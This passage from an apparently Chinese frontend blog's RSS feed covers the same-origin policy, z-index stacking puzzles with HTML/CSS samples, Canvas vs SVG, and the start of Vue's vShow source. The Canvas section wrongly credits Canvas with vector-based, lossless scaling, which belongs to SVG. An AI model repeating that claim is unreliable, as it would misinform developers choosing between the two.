&lt;li&gt;端口&lt;strong&gt;相同&lt;/strong&gt;的两个域名：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;端口&lt;strong&gt;不同&lt;/strong&gt;的两个域名：&lt;br&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;https://juejin.cn:8081&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;再重复一遍，&lt;/p&gt;
&lt;p&gt;同协议、同域名、同端口，才算同源&lt;/p&gt;
&lt;p&gt;同协议、同域名、同端口，才算同源&lt;/p&gt;
&lt;p&gt;同协议、同域名、同端口，才算同源&lt;/p&gt;
&lt;h2 id="同源策略下会有什么限制"&gt;同源策略下会有什么限制？&lt;/h2&gt;
&lt;p&gt;在同源策略下，如果&lt;strong&gt;非同源&lt;/strong&gt;，会有以下三个方面的行为受到限制：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;DOM&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;如果非同源，其 JS 脚本，不能互相对 DOM 进行读写操作&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="2"&gt;
&lt;li&gt;数据&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;如果非同源，不能互相读写 Cookies、LocalStorage、SessionStorage 和 IndexedDB&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start="3"&gt;
&lt;li&gt;网络请求&lt;br&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;如果非同源，不能通过 AJAX 的方式互相发送、接收数据&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为了方便理解，接下来我们展开说说这三条规则 ↓↓↓&lt;/p&gt;</description></item><item><title>z-index</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/css/z-index/</link><pubDate>Sat, 09 Nov 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/css/z-index/</guid><description>&lt;p&gt;大家可能觉得，&lt;code&gt;z-index&lt;/code&gt; 是一个很简单的属性，你给它设置哪个值，元素就会位于 &lt;code&gt;y&lt;/code&gt; 轴的哪个位置。但它实际上并没有我们想象的这么简单，这个属性背后是一系列决定元素所在层级的规则。&lt;/p&gt;
&lt;p&gt;在进行今天的介绍前，我们先列出三个问题，如果你能一眼看出它们的解决方案，那么恭喜你掌握了&lt;code&gt;z-index&lt;/code&gt;，也就不需要阅读本文了；如果不行，那么耐心看完本文，相信能找到答案。&lt;/p&gt;
&lt;h2 id="三个自测问题"&gt;三个自测问题&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;问题一：为什么&lt;code&gt;z-index&lt;/code&gt; 数值更大，但 &lt;code&gt;Content&lt;/code&gt; 没有在 &lt;code&gt;Box 2&lt;/code&gt; 之上？&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;box1&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Box 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;content&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Content &amp;lt;&lt;span style="color:#f92672"&gt;br&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; z-index: 2;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;box2&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Box 2 &amp;lt;&lt;span style="color:#f92672"&gt;br&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; z-index: 1;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;larger&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#box1 {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;chocolate&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin-bottom&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;-50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#content {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;gold&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;300&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;z-index&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#box2 {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;cyan&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin-top&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;-50&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;z-index&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/z-index/image-01.png"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;问题二：明明 &lt;code&gt;z-index&lt;/code&gt; 数值更小，为什么 &lt;code&gt;Content&lt;/code&gt; 这次反而在&lt;code&gt;Box 2&lt;/code&gt; 之上了？&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-html" data-lang="html"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;box1&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Box 1
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;content&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Content &amp;lt;&lt;span style="color:#f92672"&gt;br&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; transform: rotate(90deg); &amp;lt;&lt;span style="color:#f92672"&gt;br&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; z-index: 1;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;id&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;box2&amp;#34;&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &amp;lt;&lt;span style="color:#f92672"&gt;br&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Box 2 &amp;lt;&lt;span style="color:#f92672"&gt;br&lt;/span&gt;/&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; z-index: 2;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&amp;lt;/&lt;span style="color:#f92672"&gt;div&lt;/span&gt;&amp;gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-css" data-lang="css"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#f92672"&gt;div&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;padding&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;25&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;font-size&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;larger&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#box1 {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;chocolate&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin-bottom&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;-10&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#content {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;gold&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;250&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;z-index&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;transform&lt;/span&gt;: rotate(&lt;span style="color:#ae81ff"&gt;90&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;deg&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;#box2 {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;background-color&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;cyan&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;width&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;200&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;height&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;100&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;margin-top&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;-10&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;px&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;z-index&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" src="https://amatsuzero.github.io/LastStand/posts/frontend/css/z-index/image-02.png"&gt;&lt;/p&gt;</description></item><item><title>Canvas 和 SVG</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/html/canvas-svg/</link><pubDate>Wed, 09 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/html/canvas-svg/</guid><description>&lt;h2 id="1canvas"&gt;1.Canvas&lt;/h2&gt;
&lt;p&gt;Canvas 是 HTML5 中新增的一个元素，它提供了一种通过 JavaScript 来绘制图形的方式，使用笔刷绘制2D图案。通过 Canvas，我们可以在网页中动态地绘制出各种图形、图表、动画等内容，实现更丰富的交互效果。&lt;/p&gt;
&lt;h3 id="工作方式"&gt;工作方式&lt;/h3&gt;
&lt;p&gt;Canvas 的工作方式是，我们首先在 HTML 页面中添加一个 &lt;code&gt;&amp;lt;canvas&amp;gt;&lt;/code&gt; 元素，并指定其宽度和高度，然后在 JavaScript 中获取该元素的上下文对象，并通过调用它的方法来绘制图形。Canvas 的上下文对象有多种，包括 2D 上下文、WebGL 上下文等，我们可以根据需求选择相应的上下文对象来进行绘制。&lt;/p&gt;
&lt;h3 id="常用属性"&gt;常用属性&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;属性&lt;/th&gt;
&lt;th&gt;效果&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;fillStyle&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;填充颜色。默认为黑色&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;strokeStyle&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;描边颜色。默认为黑色&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;lineWidth&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;线条宽度。默认为 1 像素&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;lineCap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;线条末端的样式,可选值有 butt、round 和 square。默认为 butt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;lineJoin&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;线条相交处的样式,可选值有 miter、round 和 bevel。默认为 miter。&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;miterLimit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;线条相交处的最大斜接长度。默认为 10 像素&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;globalAlpha&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;绘制的透明度。默认为 1（不透明）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;shadowColor&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;阴影颜色。默认为黑色&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;shadowOffsetX&lt;/code&gt;、&lt;code&gt;shadowOffsetY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;阴影的偏移量和模糊程度&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;shadowBlur&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;模糊程度&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="优缺点"&gt;优缺点&lt;/h3&gt;
&lt;h4 id="优点"&gt;优点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;基于矢量绘制，图形可以自由缩放而不失真&lt;/li&gt;
&lt;li&gt;具有良好的跨浏览器兼容性&lt;/li&gt;
&lt;li&gt;通过 JavaScript 动态生成图形，可以更加灵活地控制图形的显示和交互&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 id="缺点"&gt;缺点&lt;/h4&gt;
&lt;p&gt;无法处理复杂的交互事件、不支持跨域图像等&lt;/p&gt;
&lt;h3 id="使用实例"&gt;使用实例&lt;/h3&gt;
&lt;p&gt;这个实例中，我们使用了一个 HTML5 的 Canvas 元素，它的宽度和高度分别为 200 像素。在 JavaScript 中，我们获取了这个元素，并通过 &lt;code&gt;getContext&lt;/code&gt; 方法获取了它的上下文对象。然后，我们使用 &lt;code&gt;fillStyle&lt;/code&gt; 属性设置了矩形的填充颜色为红色，并使用 &lt;code&gt;fillRect&lt;/code&gt; 方法绘制了一个起点坐标为 (50,50)，宽度为 100 像素，高度为 100 像素的矩形。&lt;/p&gt;</description></item><item><title>v-if/v-show</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/vue/v-if-v-show/</link><pubDate>Fri, 04 Oct 2024 00:00:00 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/vue/v-if-v-show/</guid><description>&lt;h2 id="v-show原理"&gt;v-show原理&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;export&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;vShow&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ObjectDirective&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color:#a6e22e"&gt;VShowElement&lt;/span&gt;&lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;beforeMount&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;, { &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt; }, { &lt;span style="color:#a6e22e"&gt;transition&lt;/span&gt; }) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;_vod&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;display&lt;/span&gt; &lt;span style="color:#f92672"&gt;===&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;none&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;?&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt; &lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;style&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;display&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;transition&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;transition&lt;/span&gt;.&lt;span style="color:#a6e22e"&gt;beforeEnter&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; } &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;setDisplay&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;el&lt;/span&gt;, &lt;span style="color:#a6e22e"&gt;value&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
